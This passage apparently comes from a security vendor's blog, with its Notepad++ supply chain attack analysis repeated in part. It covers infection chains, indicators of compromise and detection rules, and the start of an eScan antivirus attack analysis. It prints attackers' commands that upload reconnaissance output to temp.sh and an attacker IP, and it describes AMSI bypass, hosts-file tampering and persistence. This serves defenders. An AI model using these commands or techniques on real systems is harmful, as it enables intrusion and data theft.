  • http://95.179.213[.]0/update/install.exe;
  • http://95.179.213[.]0/update/update.exe;
  • http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs β€” they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector β€” they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

  • Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
  • Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent β€” both these steps will make it possible to detect chain #1 and chain #2 deployments;
  • Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
  • Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

  1. Indicators of compromise:
    1. malicious URLs used to extract information from the targeted infrastructure;
    2. malicious file names and hashes that were detected in this campaign.
  2. Suspicious activity on the host:
    1. unusual command lines specific to these attacks;
    2. suspicious network activity from Notepad++ processes and an abnormal process tree;
    3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 β€” load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 β€” load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 β€” alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd β€” alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 β€” alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

  •  

The Notepad++ supply chain attack β€” unnoticed execution chains and new IoCs

UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:

  • Individuals located in Vietnam, El Salvador, and Australia;
  • A government organization located in the Philippines;
  • A financial organization located in El Salvador;
  • An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1: late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

  1. The file creates a directory named %appdata%\ProShow and sets it as the current directory;
  2. It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
  3. Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
  4. Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

  • Drops the following files to the %appdata%\ProShow directory:
    • ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
    • defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
    • if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
    • proshow.crs
    • proshow.phd
    • proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
    • load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
  • Executes the dropped ProShow.exe file.

The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it β€” likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed β€” rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.

Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

  • In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
  • The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 since early August 2025.

Chain #2: mid- and late September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

  • Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
  • Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

  • They changed the working directory to %APPDATA%\Adobe\Scripts;
  • They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:

  • alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
  • lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
  • script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
  • alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

  • cmd /c whoami >> a.txt
  • cmd /c tasklist >> a.txt
  • cmd /c systeminfo >> a.txt
  • cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:

  • Changed the system information upload URL to https://self-dns.it[.]com/list;
  • Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
  • Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
  • Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.

Chain #3: October 2025

In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

  • BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
  • log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
  • BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

  1. In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
  2. The Beacon configurations are encrypted with the XOR key CRAZY;
  3. Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs: October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

  • http://95.179.213[.]0/update/install.exe;
  • http://95.179.213[.]0/update/update.exe;
  • http://95.179.213[.]0/update/AutoUpdater.exe.

We didn’t observe any new payloads deployed from these URLs β€” they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector β€” they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

  • Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
  • Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent β€” both these steps will make it possible to detect chain #1 and chain #2 deployments;
  • Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
  • Use the specific IoCs listed below to identify known malicious domains and files.

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Next Endpoint Detection and Response Expert, successfully detect malicious activity in the attacks described above.

Let’s take a closer look at Kaspersky Next EDR Expert.

One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.

In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.

In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.

To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.

The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:

  1. Indicators of compromise:
    1. malicious URLs used to extract information from the targeted infrastructure;
    2. malicious file names and hashes that were detected in this campaign.
  2. Suspicious activity on the host:
    1. unusual command lines specific to these attacks;
    2. suspicious network activity from Notepad++ processes and an abnormal process tree;
    3. traces of data collection, e.g. single-character file names.

Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.

We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.

For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.

Indicators of compromise

URLs used for malicious Notepad++ update deployments
http://45.76.155[.]202/update/update.exe
http://45.32.144[.]255/update/update.exe
http://95.179.213[.]0/update/update.exe
http://95.179.213[.]0/update/install.exe
http://95.179.213[.]0/update/AutoUpdater.exe

System information upload URLs
http://45.76.155[.]202/list
https://self-dns.it[.]com/list

URLs used by Metasploit downloaders to deploy Cobalt Strike beacons
https://45.77.31[.]210/users/admin
https://cdncheck.it[.]com/users/admin
https://safe-dns.it[.]com/help/Get-Start

URLs used by Cobalt Strike Beacons delivered by malicious Notepad++ updaters
https://45.77.31[.]210/api/update/v1
https://45.77.31[.]210/api/FileUpload/submit
https://cdncheck.it[.]com/api/update/v1
https://cdncheck.it[.]com/api/Metadata/submit
https://cdncheck.it[.]com/api/getInfo/v1
https://cdncheck.it[.]com/api/FileUpload/submit
https://safe-dns.it[.]com/resolve
https://safe-dns.it[.]com/dns-query

URLs used by the Chrysalis backdoor and the Cobalt Strike Beacon payloads associated with it, as previously identified by Rapid7
https://api.skycloudcenter[.]com/a/chat/s/70521ddf-a2ef-4adf-9cf0-6d8e24aaa821
https://api.wiresguard[.]com/update/v1
https://api.wiresguard[.]com/api/FileUpload/submit

URLs related to Cobalt Strike Beacons uploaded to multiscanners, as previously identified by Rapid7
http://59.110.7[.]32:8880/uffhxpSy
http://59.110.7[.]32:8880/api/getBasicInfo/v1
http://59.110.7[.]32:8880/api/Metadata/submit
http://124.222.137[.]114:9999/3yZR31VK
http://124.222.137[.]114:9999/api/updateStatus/v1
http://124.222.137[.]114:9999/api/Info/submit
https://api.wiresguard[.]com/users/system
https://api.wiresguard[.]com/api/getInfo/v1

Malicious updater.exe hashes
8e6e505438c21f3d281e1cc257abdbf7223b7f5a
90e677d7ff5844407b9c073e3b7e896e078e11cd
573549869e84544e3ef253bdba79851dcde4963a
13179c8f19fbf3d8473c49983a199e6cb4f318f0
4c9aac447bf732acc97992290aa7a187b967ee2c
821c0cafb2aab0f063ef7e313f64313fc81d46cd

Hashes of malicious auxiliary files
06a6a5a39193075734a32e0235bde0e979c27228 β€” load
9c3ba38890ed984a25abb6a094b5dbf052f22fa7 β€” load
ca4b6fe0c69472cd3d63b212eb805b7f65710d33 β€” alien.ini
0d0f315fd8cf408a483f8e2dd1e69422629ed9fd β€” alien.ini
2a476cfb85fbf012fdbe63a37642c11afa5cf020 β€” alien.ini

Malicious file hashes, as previously identified by Rapid7
d7ffd7b588880cf61b603346a3557e7cce648c93
94dffa9de5b665dc51bc36e2693b8a3a0a4cc6b8
21a942273c14e4b9d3faa58e4de1fd4d5014a1ed
7e0790226ea461bcc9ecd4be3c315ace41e1c122
f7910d943a013eede24ac89d6388c1b98f8b3717
73d9d0139eaf89b7df34ceeb60e5f8c7cd2463bf
bd4915b3597942d88f319740a9b803cc51585c4a
c68d09dd50e357fd3de17a70b7724f8949441d77
813ace987a61af909c053607635489ee984534f4
9fbf2195dee991b1e5a727fd51391dcc2d7a4b16
07d2a01e1dc94d59d5ca3bdf0c7848553ae91a51
3090ecf034337857f786084fb14e63354e271c5d
d0662eadbe5ba92acbd3485d8187112543bcfbf5
9c0eff4deeb626730ad6a05c85eb138df48372ce

Malicious file paths
%appdata%\ProShow\load
%appdata%\Adobe\Scripts\alien.ini
%appdata%\Bluetooth\BluetoothService

  •  

Supply chain attack on eScan antivirus: detecting and remediating malicious updates

UPD 30.01.2026: Added technical details about the attack chain and more IoCs.

On January 20, a supply chain attack has occurred, with the infected software being the eScan antivirus developed by the Indian company MicroWorld Technologies. The previously unknown malware was distributed through the eScan update server. The same day, our security solutions detected and prevented cyberattacks involving this malware. On January 21, having been informed by Morphisec, the developers of eScan contained the security incident related to the attack.

Malicious software used in the attack

Users of the eScan security product received a malicious Reload.exe file, which initiated a multi-stage infection chain. According to colleagues at Morphisec who were the first to investigate the attack, Reload.exe prevented further antivirus product updates by modifying the HOSTS file, thereby blocking the ability of security solution developers to automatically fix the problem, which, among other things, led to the update service error.

The malware also ensured its persistence in the system, communicated with command-and-control servers, and downloaded additional malicious payloads. Persistence was achieved by creating scheduled tasks; one example of such a malicious task is named β€œCorelDefrag”. Additionally, the consctlx.exe malicious file was written to the disk during the infection.

How the attackers managed to pull off this attack

At the request of the BleepingComputer information portal, eScan developers explained that the attackers managed to gain access to one of the regional update servers and deploy a malicious file, which was automatically delivered to customers. They emphasize that this is not a vulnerability β€” the incident is classified as unauthorized access to infrastructure. The malicious file was distributed with a fake, invalid digital signature.

According to the developers, the infrastructure affected by the incident was quickly isolated, and all access credentials were reset.

Having checked our telemetry, we identified hundreds of machines belonging to both individuals and organizations, which encountered infection attempts with payloads related to the eScan supply chain attack. These machines were mostly located in South Asia, primarily in India, Bangladesh, Sri Lanka, and the Philippines. Having examined them, we identified that to orchestrate the infection, attackers were able to replace a legitimate component of the eScan antivirus, located under the path C:\Program Files (x86)\escan\reload.exe, with a malicious executable. This reload.exe file is launched at runtime by components of the eScan antivirus. It has a fake, invalid digital signature (certificate serial number: 68525dadf70c773d41609ff7ca499fb5). We found this implant to be heavily obfuscated with constant unfolding and indirect branching, which made its analysis quite tedious.

Obfuscated code snippet

Obfuscated code snippet

When started, this reload.exe file checks whether it is launched from the Program Files folder, and exits if not. It further initializes the CLR (Common Language Runtime) environment inside its process, which it uses to load a small .NET executable into memory (SHA1: eec1a5e3bb415d12302e087a24c3f4051fca040e). This executable is based on the UnmanagedPowerShell tool, which allows executing PowerShell code in any process. Attackers modified the source code of this project by adding an AMSI bypass capability to it, and used it to execute a malicious PowerShell script inside the reload.exe process. This script has three lines, and looks as follows:

Lines of the launched script

Lines of the launched script

Each of these lines is responsible for decoding and launching a Base64-encoded PowerShell payload. These three payloads, which we will further analyze, are used for the infection on the target machine.

eScan antivirus tampering payload

The first executed payload is deployed to tamper with the installed eScan solution, in an attempt to prevent it from receiving updates and detecting the installed malicious components. To do that, it performs several actions, including the following ones:

  • Deletes multiple files of the eScan antivirus, including the Remote Support Utility located at C:\Program Files (x86)\Common Files\MicroWorld\WGWIN\tvqsapp.exe. Notably, before deletion, the payload creates ZIP-archived backups of removed files inside the C:\ProgramData\esfsbk directory.
  • Modifies the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\MwMonitor registry key to add the C:\Windows, C:\Program Files and C:\Program Files (x86) folders to antivirus exceptions.
  • Adds update servers of the eScan antivirus (such as update1.mwti.net) to the hosts file, associating them with the IP address 2.3.4.0.
  • Modifies registry keys related to antivirus databases, for example by assigning 999 to the WTBases_new value of the HKLM\SOFTWARE\WOW6432Node\MicroWorld\eScan for Windows\ODS registry key.

While tampering with eScan, this payload writes a debug log to the C:\ProgramData\euapp.log file, which can be used as an indicator of compromise.

It is worth noting that while running this payload, we did not observe all these actions to succeed on our test machine with eScan installed. For example, the self-defense component of eScan was able to prevent malicious entries from being written into the hosts file. Nevertheless, after the payload had finished execution, we were unable to further update eScan, as we were getting this error message:

Error message displayed to us when we launched the update process after tampering with eScan

Error message displayed to us when we launched the update process after tampering with eScan. While the message says, β€œThe operation completed successfully”, its appearance is abnormal, and no updates are actually downloaded or installed

Finally, the first payload replaces the C:\Program Files (x86)\eScan\CONSCTLX.exe component of eScan with a next-stage persistent payload, which we will describe in further sections of this article.

AMSI bypass payload

The second payload launched is designed to bypass AMSI. The payload implements typical code for doing that – it determines the address of the AmsiScanBuffer function and then patches it to always return an error.

Snippet of the AMSI bypass payload (deobfuscated version)

Snippet of the AMSI bypass payload (deobfuscated version)

Victim validation payload

The goal of the third payload, which is the last to be executed, is to validate whether the victim machine should be further infected, and if yes, to deliver a further payload to it. When started, it examines the list of installed software, running processes and services against a blocklist. Entries in this blocklist are related to analysis tools and security solutions. Notably, Kaspersky security solutions are included into this blocklist. This means that this stage will refuse to deliver the embedded payload if Kaspersky products are installed on the victim machine.

If validation is successful, the payload proceeds with deploying a PowerShell-based persistent payload on the infected machine. To do that, it:

  • Writes the persistent payload to the Corel value of the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key.
  • Creates a scheduled task named Microsoft\Windows\Defrag\CorelDefrag, designed to execute the following PowerShell script every day at a random time:
    PowerShell script executed by the CorelDefrag scheduled task (beautified version)

    PowerShell script executed by the CorelDefrag scheduled task (beautified version)

    This script retrieves the persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, Base64-decodes and then executes it.

When the payload execution finishes, either because validation failed or the persistent component was deployed successfully, it sends a heartbeat to the C2 infrastructure. This is done by sending a GET request, which contains a status code and optionally an error message, to the following URLs:

  • https://vhs.delrosal[.]net/i
  • https://tumama.hns[.]to
  • https://blackice.sol-domain[.]org
  • https://codegiant.io/dd/dd/dd.git/download/main/middleware[.]ts

The response to the GET request is not processed.

As such, during installation, the infected machine receives two persistent payloads:

  • The CONSCTLX.exe payload, designed to be launched by the eScan antivirus
  • The PowerShell-based payload, designed to be launched via a scheduled task

The CONSCTLX.exe persistent payload

This payload is obfuscated in the same way as the Reload.exe malicious executable. In the same way as this executable, CONSCTLX.exe initializes the CLR environment to execute a PowerShell script inside its own process. The goal of this script is to retrieve the other (PowerShell-based) persistent payload from the HKLM\Software\E9F9EEC3-86CA-4EBE-9AA4-1B55EE8D114E registry key, and execute it. However, this script contains another interesting feature: it changes the last update time of the eScan product to the current time, by writing the current date to the C:\Program Files (x86)\eScan\Eupdate.ini file. This is needed to make the eScan solution GUI display a recent update date, so that the user does not notice that antivirus updates are actually blocked.

Screenshot of the eScan product GUI, with the highlighted date that is changed by the payload

